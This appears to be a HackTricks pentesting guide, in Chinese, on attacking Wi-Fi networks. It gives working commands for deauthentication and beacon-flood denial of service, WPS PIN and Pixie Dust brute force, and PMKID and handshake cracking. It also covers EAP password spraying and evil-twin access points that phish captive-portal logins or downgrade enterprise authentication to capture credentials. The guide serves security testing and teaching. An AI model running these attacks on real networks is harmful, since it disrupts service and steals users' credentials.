# Pentesting Wifi

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="/files/KRzboz7CsxUiMkcB5sXP" alt=""><figcaption></figcaption></figure>

加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器，与经验丰富的黑客和赏金猎人交流！

**黑客见解**\
参与深入探讨黑客行为的刺激和挑战的内容

**实时黑客新闻**\
通过实时新闻和见解及时了解快节奏的黑客世界

**最新公告**\
随时了解最新的赏金计划发布和重要平台更新

**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy)，立即与顶尖黑客合作！

## Wifi基本命令

```bash
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis
```

## 工具

### EAPHammer

```
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
```

### Airgeddon

Airgeddon是一个多用途的无线渗透测试工具，它结合了许多无线渗透测试工具的功能，使得渗透测试人员可以更轻松地执行各种无线渗透测试任务。

```bash
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
```

**使用docker运行airgeddon**

```bash
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
```

### wifiphisher

它可以执行恶意双胞胎、KARMA 和已知信标攻击，然后使用钓鱼模板来获取网络真实密码或捕获社交网络凭证。

```bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
```

### [Wifite2](https://github.com/derv82/wifite2)

这个工具自动化执行 **WPS/WEP/WPA-PSK** 攻击。它会自动执行以下操作：

* 将接口设置为监听模式
* 扫描可能的网络 - 并让您选择受害者
* 如果是 WEP - 启动 WEP 攻击
* 如果是 WPA-PSK
* 如果是 WPS：Pixie dust 攻击和暴力破解攻击（请注意，暴力破解攻击可能需要很长时间）。请注意，它不会尝试空 PIN 或数据库/生成的 PIN。
* 尝试捕获来自 AP 的 PMKID 以进行破解
* 尝试使 AP 的客户端断开连接以捕获握手
* 如果有 PMKID 或握手，尝试使用前 5000 个密码进行暴力破解。

## 攻击摘要

* **DoS**
* 拒绝服务攻击/断开连接 -- 断开所有人（或特定的 ESSID/客户端）
* 随机虚假 AP -- 隐藏网络，可能导致扫描器崩溃
* 过载 AP -- 尝试使 AP 崩溃（通常不太有用）
* WIDS -- 与 IDS 交互
* TKIP，EAPOL -- 一些特定的攻击方式来对一些 AP 进行 DoS 攻击
* **破解**
* 破解 **WEP**（多种工具和方法）
* **WPA-PSK**
* **WPS** PIN “暴力破解”
* **WPA PMKID** 暴力破解
* \[DoS +] **WPA 握手** 捕获 + 破解
* **WPA-MGT**
* **用户名捕获**
* **暴力破解** 凭据
* **恶意双胞胎**（带或不带 DoS）
* **开放** 恶意双胞胎 \[+ DoS] -- 用于捕获强制门户凭据和/或执行局域网攻击
* **WPA-PSK** 恶意双胞胎 -- 如果您知道密码，用于网络攻击
* **WPA-MGT** -- 用于捕获公司凭据
* **KARMA, MANA**, **Loud MANA**, **已知信标**
* **+ 开放** -- 用于捕获强制门户凭据和/或执行局域网攻击
* **+ WPA** -- 用于捕获 WPA 握手

## DoS

### 拒绝服务攻击包

**来自** [**这里**：](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**

**拒绝服务** 攻击是 Wi-Fi 黑客中常见的一种方法，涉及伪造“管理”帧以**强制将设备从网络中断开**。这些未加密的数据包欺骗客户端，使其相信这些数据包来自合法网络，使攻击者能够收集用于破解的 WPA 握手或持续干扰网络连接。这种简单但令人震惊的策略被广泛使用，并对网络安全产生重大影响。

**使用 Aireplay-ng 进行拒绝服务攻击**

```
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
```

* -0 表示去认证
* 1 是要发送的去认证数量（如果需要，可以发送多个）；0 表示持续发送
* -a 00:14:6C:7E:40:80 是接入点的 MAC 地址
* -c 00:0F:B5:34:30:30 是要去认证的客户端的 MAC 地址；如果省略此项，则发送广播去认证（不总是有效）
* ath0 是接口名称

### 解关联数据包

**解关联数据包**，类似于去认证数据包，是 Wi-Fi 网络中使用的一种管理帧。这些数据包用于切断设备（如笔记本电脑或智能手机）与接入点（AP）之间的连接。解关联和去认证之间的主要区别在于它们的使用场景。当 AP 发出 **去认证数据包** 以明确从网络中移除恶意设备时，通常在 AP 正在关闭、重新启动或迁移时发送 **解关联数据包**，从而需要断开所有连接的节点。

**此攻击可通过 mdk4（模式 "d"）执行：**

```bash
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
```

### **通过 mdk4 进行更多的 DOS 攻击**

**在** [**这里**](https://en.kali.tools/?p=864)**。**

**攻击模式 b: Beacon Flood 攻击**

发送信标帧以展示虚假的接入点给客户端。这有时会导致网络扫描工具甚至驱动程序崩溃！

```bash
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
```

**攻击模式 a: 认证拒绝服务**

向范围内所有可访问的接入点（AP）发送认证帧可能会使这些AP过载，特别是当涉及大量客户端时。这种强烈的流量可能导致系统不稳定，导致一些AP冻结甚至重置。

```bash
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
```

**攻击模式 p: SSID探测和暴力破解**

探测接入点（AP）会检查SSID是否被正确显示，并确认AP的范围。这种技术，结合使用带有或不带有字典的**暴力破解隐藏的SSID**，有助于识别和访问隐藏网络。

**攻击模式 m: Michael对策利用**

向不同的QoS队列发送随机或重复的数据包可能会触发**TKIP AP**上的Michael对策，导致AP关闭一分钟。这种方法是一种高效的**DoS**（拒绝服务）攻击策略。

```bash
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
```

**攻击模式 e: EAPOL Start 和 Logoff 数据包注入**

通过向接入点（AP）发送大量的 **EAPOL Start 帧** 可以创建 **虚假会话**，使AP不堪重负并阻塞合法客户端。另一种方法是注入 **虚假的 EAPOL Logoff 消息** 强制断开客户端连接，这两种方法都能有效地干扰网络服务。

```bash
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
```

**攻击模式 s: 针对 IEEE 802.11s 网络的攻击**

针对网状网络中的链路管理和路由的各种攻击。

**攻击模式 w: WIDS 混淆**

将客户端交叉连接到多个 WDS 节点或虚假的伪装 AP 可以操纵入侵检测和预防系统，制造混乱并可能导致系统被滥用。

```bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
```

**攻击模式 f: 数据包模糊器**

一个数据包模糊器，具有多样的数据包来源和用于数据包操作的全面修改器集合。

### **Airggedon**

***Airgeddon*** 提供了先前评论中提出的大部分攻击：

![](/files/WoVHixuNx2pi86yDBou1)

## WPS

WPS（Wi-Fi Protected Setup）简化了将设备连接到路由器的过程，增强了对使用**WPA**或**WPA2**个人加密网络的设置速度和便捷性。对于易受攻击的WEP安全性来说，WPS是无效的。WPS采用一个由两部分验证的8位数PIN，由于其有限的组合数量（11,000种可能性），容易受到暴力破解攻击的影响。

### WPS 暴力破解

有两个主要工具可执行此操作：Reaver 和 Bully。

* **Reaver** 旨在针对WPS进行强大而实用的攻击，并已针对各种接入点和WPS实现进行了测试。
* **Bully** 是WPS暴力破解攻击的**新实现**，用C语言编写。它相对于原始的reaver代码具有几个优点：较少的依赖性，改进的内存和CPU性能，正确处理字节序，以及更强大的选项集。

该攻击利用了**WPS PIN的漏洞**，特别是其暴露的前四位数字和最后一位数字作为校验和的作用，从而简化了暴力破解攻击。然而，对抗暴力破解攻击的防御措施，如**阻止攻击者的MAC地址**，需要进行**MAC地址轮换**以继续攻击。

通过使用类似Bully或Reaver的工具获取WPS PIN后，攻击者可以推断出WPA/WPA2 PSK，确保**持久的网络访问**。

```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
```

**智能暴力破解**

这种精细的方法针对使用已知漏洞的WPS PIN：

1. **预先发现的PIN**：利用已知使用统一WPS PIN的特定制造商的PIN数据库。该数据库将MAC地址的前三个八位字节与这些制造商的可能PIN相关联。
2. **PIN生成算法**：利用ComputePIN和EasyBox等算法，根据AP的MAC地址计算WPS PIN。Arcadyan算法还需要设备ID，为PIN生成过程增加了一层。

### WPS Pixie Dust攻击

**Dominique Bongard**发现了一些接入点（AP）在创建秘密代码（称为**nonce**（**E-S1**和**E-S2**））方面存在缺陷。如果能够找出这些nonce，破解AP的WPS PIN就变得容易。AP通过特殊代码（哈希）显示PIN，以证明其合法性，而不是伪造（恶意）AP。这些nonce本质上是解锁保存WPS PIN的“保险柜”的“钥匙”。更多信息请参阅[这里](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))。

简单来说，问题在于一些AP在连接过程中未使用足够随机的密钥加密PIN。这使得PIN容易受到外部网络（离线暴力破解攻击）的猜测。

```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
```

如果您不想将设备切换到监视模式，或者`reaver`和`bully`存在一些问题，您可以尝试[OneShot-C](https://github.com/nikita-yfh/OneShot-C)。 这个工具可以执行 Pixie Dust 攻击，而无需切换到监视模式。

```bash
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
```

### 空 Pin 攻击

一些设计不良的系统甚至允许**空 PIN**（空或不存在的 PIN）授予访问权限，这是相当不寻常的。与**Bully** 不同，工具 **Reaver** 能够测试这种漏洞。

```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
```

### Airgeddon

所有提出的WPS攻击都可以通过 ***airgeddon*** 轻松执行。

![](/files/XThalMacy3Rslo72bdeR)

* 步骤5和6允许您尝试 **自定义PIN**（如果有的话）
* 步骤7和8执行 **Pixie Dust攻击**
* 步骤13允许您测试 **NULL PIN**
* 步骤11和12将从可用数据库中 **重新收集与所选AP相关的PIN** 并使用以下方式生成可能的 **PIN**：ComputePIN、EasyBox，以及可选的Arcadyan（推荐，为什么不呢？）
* 步骤9和10将测试 **每个可能的PIN**

## **WEP**

现在已经破解且不再使用。只需知道 ***airgeddon*** 有一个名为“全能”的WEP选项来攻击这种保护。更多工具提供类似选项。

![](/files/2DfBLhBNxeja3C6u9UDC)

***

<figure><img src="/files/KRzboz7CsxUiMkcB5sXP" alt=""><figcaption></figcaption></figure>

加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器，与经验丰富的黑客和赏金猎人交流！

**黑客见解**\
参与深入探讨黑客的刺激和挑战的内容

**实时黑客新闻**\
通过实时新闻和见解了解快节奏的黑客世界

**最新公告**\
了解最新的赏金任务发布和重要平台更新

**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy)，立即与顶尖黑客合作！

***

## WPA/WPA2 PSK

### PMKID

2018年，**hashcat** [揭示](https://hashcat.net/forum/thread-7717.html) 了一种新的攻击方法，独特之处在于它只需要 **一个数据包**，并且不需要任何客户端连接到目标AP——只需攻击者与AP之间的交互。

许多现代路由器在关联期间的第一个EAPOL帧中添加了一个 **可选字段**，称为 `Robust Security Network`。其中包括 `PMKID`。

正如原始帖子所解释的那样，**PMKID** 是使用已知数据创建的：

```bash
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
```

鉴于"PMK名称"是恒定的，我们知道AP和站点的BSSID，并且`PMK`与完整的4路握手中的相同，**hashcat**可以使用此信息来破解PSK并恢复密码！

要**收集**此信息并在本地**暴力破解**密码，您可以执行：

```bash
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
```

```bash
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
```

**捕获到的PMKIDs**将显示在**控制台**中，并且也会**保存**在 \_/tmp/attack.pcap\_\
现在，将捕获的内容转换为**hashcat/john**格式并进行破解：

```bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

请注意，正确的哈希格式包含**4个部分**，如：`4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` 如果您的哈希值**只包含3个部分**，那么它是**无效的**（PMKID捕获无效）。

请注意，`hcxdumptool`**也会捕获握手**（类似于这样的内容将出现：**`MP:M1M2 RC:63258 EAPOLTIME:17091`**）。您可以使用`cap2hccapx`将**握手**转换为**hashcat**/**john**格式。

```bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
```

### 握手捕获

对**WPA/WPA2**网络的攻击可以通过捕获**握手**并尝试**离线破解**密码来执行。这个过程涉及监视特定网络和**BSSID**在特定**信道**上的通信。以下是简化的指南：

1. 确定目标网络的**BSSID**、**信道**和**已连接客户端**。
2. 使用`airodump-ng`来监视指定信道和BSSID上的网络流量，希望捕获一个握手。命令如下：

```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
```

3. 为了增加捕获握手的机会，暂时断开客户端与网络的连接，强制重新认证。可以使用 `aireplay-ng` 命令来实现，该命令向客户端发送去认证数据包：

```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
```

*注意，由于客户端被去认证，它可能会尝试连接到另一个接入点，或者在其他情况下，连接到另一个网络。*

一旦在 `airodump-ng` 中出现一些握手信息，这意味着已捕获到握手，您可以停止监听：

![](/files/qHgFUzNd4tFv5yoNas8n)

一旦捕获到握手，您可以使用 `aircrack-ng` 进行**破解**：

```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
```

### 检查文件中是否存在握手信息

**aircrack**

```bash
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
```

**tshark**

```bash
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
```

[**cowpatty**](https://github.com/roobixx/cowpatty)

```
cowpatty -r psk-01.cap -s "ESSID" -f -
```

*如果此工具在找到完整握手之前找到了 ESSID 的不完整握手，则不会检测到有效的握手。*

**pyrit**

```bash
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
```

## **WPA企业（MGT）**

在**企业WiFi设置中，您将遇到各种认证方法**，每种方法提供不同的安全级别和管理功能。当您使用诸如`airodump-ng`之类的工具来检查网络流量时，您可能会注意到这些认证类型的标识符。一些常见的方法包括：

```
6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi
```

1. **EAP-GTC (通用令牌卡)**:

* 该方法支持硬件令牌和EAP-PEAP中的一次性密码。与MSCHAPv2不同，它不使用对等挑战，并将密码以明文形式发送到接入点，存在降级攻击的风险。

2. **EAP-MD5 (消息摘要 5)**:

* 包括从客户端发送密码的MD5哈希。由于容易受到字典攻击的漏洞、缺乏服务器认证以及无法生成特定会话的WEP密钥，**不建议**使用该方法。

3. **EAP-TLS (传输层安全)**:

* 采用客户端和服务器端证书进行身份验证，并可动态生成用于保护通信的基于用户和会话的WEP密钥。

4. **EAP-TTLS (隧道传输层安全)**:

* 通过加密隧道提供相互认证，以及一种派生动态的、每个用户、每个会话的WEP密钥的方法。它仅需要服务器端证书，客户端使用凭据。

5. **PEAP (受保护的可扩展认证协议)**:

* 通过为受保护的通信创建TLS隧道，类似于EAP的功能。由于隧道提供的保护，它允许在EAP之上使用较弱的身份验证协议。
* **PEAP-MSCHAPv2**: 通常称为PEAP，它将易受攻击的MSCHAPv2挑战/响应机制与保护性TLS隧道结合在一起。
* **PEAP-EAP-TLS (或PEAP-TLS)**: 类似于EAP-TLS，但在交换证书之前启动TLS隧道，提供额外的安全层。

您可以在[这里](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol)和[这里](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html)找到有关这些身份验证方法的更多信息。

### 用户名捕获

阅读<https://tools.ietf.org/html/rfc3748#page-27>后，如果您使用**EAP**，则必须支持\*\*“Identity”\*\* **消息**，并且**用户名**将在\*\*“Response Identity”\*\* **消息**中以**明文**形式发送。

即使使用最安全的身份验证方法之一：**PEAP-EAP-TLS**，也可以**捕获在EAP协议中发送的用户名**。为此，**捕获身份验证通信**（在一个信道内启动`airodump-ng`，在同一接口上启动`wireshark`）并通过`eapol`过滤数据包。\
在“**Response, Identity**”数据包中，将显示客户端的**用户名**。

![](/files/cTsblXRTno5GHcMvLXD3)

### 匿名身份

EAP-PEAP和EAP-TTLS都支持身份隐藏。在WiFi网络的背景下，接入点（AP）通常在关联过程中发起EAP-Identity请求。为确保用户匿名性的保护，来自用户设备上的EAP客户端的响应仅包含初始RADIUS服务器处理请求所需的基本信息。通过以下场景说明了这一概念：

* EAP-Identity = 匿名
* 在此场景中，所有用户都使用“匿名”作为他们的用户标识符。初始RADIUS服务器充当EAP-PEAP或EAP-TTLS服务器，负责管理PEAP或TTLS协议的服务器端。然后，内部（受保护的）身份验证方法要么在本地处理，要么委托给远程（主页）RADIUS服务器。
* EAP-Identity = 匿名@realm\_x
* 在这种情况下，来自不同领域的用户隐藏其身份，同时指示各自的领域。这使得初始RADIUS服务器可以将EAP-PEAP或EAP-TTLS请求代理到其主页领域中的RADIUS服务器，后者充当PEAP或TTLS服务器。初始RADIUS服务器仅充当RADIUS中继节点。
* 或者，初始RADIUS服务器可以充当EAP-PEAP或EAP-TTLS服务器，并处理受保护的身份验证方法或将其转发到另一台服务器。此选项便于为不同领域配置不同的策略。

在EAP-PEAP中，一旦建立了PEAP服务器和PEAP客户端之间的TLS隧道，PEAP服务器会发起EAP-Identity请求并通过TLS隧道传输。客户端会通过加密隧道发送包含用户真实身份的第二个EAP-Identity响应以回应此次EAP-Identity请求。这种方法有效地防止了任何窃听802.11流量的人揭示用户的实际身份。

EAP-TTLS遵循稍微不同的过程。使用EAP-TTLS时，客户端通常使用PAP或CHAP进行身份验证，由TLS隧道保护。在这种情况下，客户端在隧道建立后发送的初始TLS消息中包含一个User-Name属性和一个Password或CHAP-Password属性。

无论选择哪种协议，PEAP/TTLS服务器在建立TLS隧道后都会获知用户的真实身份。真实身份可以表示为user\@realm或仅为user。如果PEAP/TTLS服务器还负责对用户进行身份验证，则现在拥有用户的身份并继续使用TLS隧道保护的身份验证方法。或者，PEAP/TTLS服务器可以向用户的主页RADIUS服务器转发新的RADIUS请求。这个新的RADIUS请求省略了PEAP或TTLS协议层。在受保护的身份验证方法为EAP的情况下，内部EAP消息将被传输到主页RADIUS服务器，而不包含EAP-PEAP或EAP-TTLS包装。传出RADIUS消息的User-Name属性包含用户的真实身份，替换了传入RADIUS请求中的匿名User-Name。如果受保护的身份验证方法是PAP或CHAP（仅由TTLS支持），则从TLS负载中提取的User-Name和其他身份验证属性将替换传入RADIUS请求中找到的匿名User-Name和TTLS EAP-Message属性。

有关更多信息，请查看<https://www.interlinknetworks.com/app_notes/eap-peap.htm>

### EAP-暴力破解（密码喷洒）

如果客户端预计使用**用户名和密码**（请注意，在这种情况下**EAP-TLS将无效**），则可以尝试获取**用户名列表**（请参见下一部分）和**密码**，并尝试使用[**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)\*\*\*\*进行访问的**暴力破解**。

```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
```

您也可以使用 `eaphammer` 进行此攻击：

```bash
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
```

## 客户端攻击理论

### 网络选择和漫游

* 802.11协议定义了一个站点如何加入扩展服务集（ESS），但并未指定选择ESS或其中的接入点（AP）的标准。
* 站点可以在共享相同ESSID的AP之间漫游，跨建筑物或区域保持连接。
* 该协议要求站点对ESS进行身份验证，但不要求AP对站点进行身份验证。

### 首选网络列表（PNLs）

* 站点将连接到的每个无线网络的ESSID存储在其首选网络列表（PNL）中，以及网络特定的配置详细信息。
* PNL用于自动连接到已知网络，通过简化连接过程来改善用户体验。

### 被动扫描

* AP定期广播信标帧，宣布其存在和特性，包括AP的ESSID，除非禁用广播。
* 在被动扫描期间，站点监听信标帧。如果信标的ESSID与站点的PNL中的条目匹配，则站点可能会自动连接到该AP。
* 知道设备的PNL可以通过模仿已知网络的ESSID来欺骗设备连接到伪造的AP，从而进行潜在的利用。

### 主动探测

* 主动探测涉及站点发送探测请求以发现附近的AP及其特征。
* 定向探测请求针对特定ESSID，有助于检测特定网络是否在范围内，即使是隐藏网络也可以。
* 广播探测请求具有空的SSID字段，并发送给所有附近的AP，让站点检查任何首选网络而不透露其PNL内容。

## 具有重定向到互联网的简单AP

在解释如何执行更复杂的攻击之前，将解释如何仅**创建**一个**AP**并将其**流量**重定向到连接到**互联网**的接口。

使用`ifconfig -a`检查用于创建AP的wlan接口和连接到互联网的接口是否存在。

### DHCP和DNS

```bash
apt-get install dnsmasq #Manages DHCP and DNS
```

创建配置文件 `/etc/dnsmasq.conf`：

```ini
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
```

然后**设置IP**和**路由**：

```bash
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
```

然后 **启动** dnsmasq：

```bash
dnsmasq -C dnsmasq.conf -d
```

### hostapd

### hostapd

```bash
apt-get install hostapd
```

创建一个配置文件 `hostapd.conf`：

```ini
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
```

**停止烦人的进程**，设置**监控模式**，然后**启动hostapd**：

```bash
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
```

### 转发和重定向

```bash
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
```

## 恶意孪生者

恶意孪生者攻击利用WiFi客户端识别网络的方式，主要依赖网络名称（ESSID），而无需基站（接入点）向客户端进行身份验证。关键点包括：

* **难以区分**：当合法和恶意接入点共享相同的ESSID和加密类型时，设备很难区分二者。现实世界中的网络通常使用多个具有相同ESSID的接入点，以无缝扩展覆盖范围。
* **客户端漫游和连接操纵**：802.11协议允许设备在同一ESS内的接入点之间漫游。攻击者可以利用这一点，诱使设备断开与当前基站的连接并连接到恶意接入点。这可以通过提供更强的信号或通过发送去认证数据包或干扰合法接入点的连接等方法来实现。
* **执行中的挑战**：在具有多个位置良好的接入点的环境中成功执行恶意孪生者攻击可能具有挑战性。去认证单个合法接入点通常会导致设备连接到另一个合法接入点，除非攻击者可以去认证所有附近的接入点或策略性地放置恶意接入点。

```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
```

您还可以使用**eaphammer**创建一个恶意双子（请注意，要使用eaphammer创建恶意双子，接口**不应该**处于**监控**模式）:

```bash
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
```

或者使用Airgeddon：`选项：5,6,7,8,9（在恶意双胞胎攻击菜单中）。`

![](/files/76eQ1rQsHxBb5Izy1m5E)

请注意，默认情况下，如果PNL中保存的ESSID受到WPA保护，设备不会自动连接到一个开放的恶意双胞胎。您可以尝试对真实AP进行DoS攻击，并希望用户手动连接到您的开放恶意双胞胎，或者您可以对真实AP进行DoS攻击并使用WPA恶意双胞胎来捕获握手（使用此方法，您将无法让受害者连接到您，因为您不知道PSK，但您可以捕获握手并尝试破解它）。

*一些操作系统和防病毒软件会警告用户连接到开放网络是危险的...*

### WPA/WPA2恶意双胞胎

您可以创建一个使用WPA/2的**恶意双胞胎**，如果设备已配置为使用WPA/2连接到该SSID，它们将尝试连接。无论如何，**为了完成4次握手**，您还需要**知道**客户端将使用的**密码**。如果您**不知道**它，**连接将无法完成**。

```bash
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
```

### 企业级恶意双生

要了解这些攻击，我建议先阅读简要的[WPA企业解释](#wpa-enterprise-mgt)。

**使用hostapd-wpe**

`hostapd-wpe`需要一个**配置**文件才能工作。要**自动化**生成这些配置，您可以使用<https://github.com/WJDigby/apd_launchpad>（下载python文件到 */etc/hostapd-wpe/*）。

```bash
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
```

在配置文件中，您可以选择许多不同的内容，如SSID、频道、用户文件、证书/密钥、DH参数、WPA版本和认证...

[**使用hostapd-wpe与EAP-TLS允许任何证书登录。**](/generic-methodologies-and-resources/pentesting-wifi/evil-twin-eap-tls.md)

**使用EAPHammer**

```bash
# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
```

默认情况下，EAPHammer使用以下身份验证方法（请注意，首先尝试获取明文密码的是GTC，然后使用更强大的身份验证方法）：

```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
```

这是避免长连接时间的默认方法。但是，您也可以指定服务器的认证方法从最弱到最强：

```
--negotiate weakest
```

或者您也可以使用：

* 使用`--negotiate gtc-downgrade`来使用高效的GTC降级实现（明文密码）
* 使用`--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP`来手动指定提供的方法（以与组织相同的顺序提供相同的认证方法，攻击将更难被检测）。
* [在维基中查找更多信息](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)

**使用Airgeddon**

`Airgeddon`可以使用先前生成的证书来为WPA/WPA2企业网络提供EAP身份验证。虚假网络将将连接协议降级为EAP-MD5，以便**捕获用户和密码的MD5**。稍后，攻击者可以尝试破解密码。\
`Airggedon`为您提供了\*\*持续的恶意双子攻击（嘈杂）**或**仅在有人连接时创建恶意攻击（平稳）\*\*的可能性。

![](/files/CcFWylvGqHRoR4fyT6uF)

### 在恶意双子攻击中调试PEAP和EAP-TTLS TLS隧道

*此方法在PEAP连接中进行了测试，但由于我正在解密一个任意的TLS隧道，因此这也应该适用于EAP-TTLS*

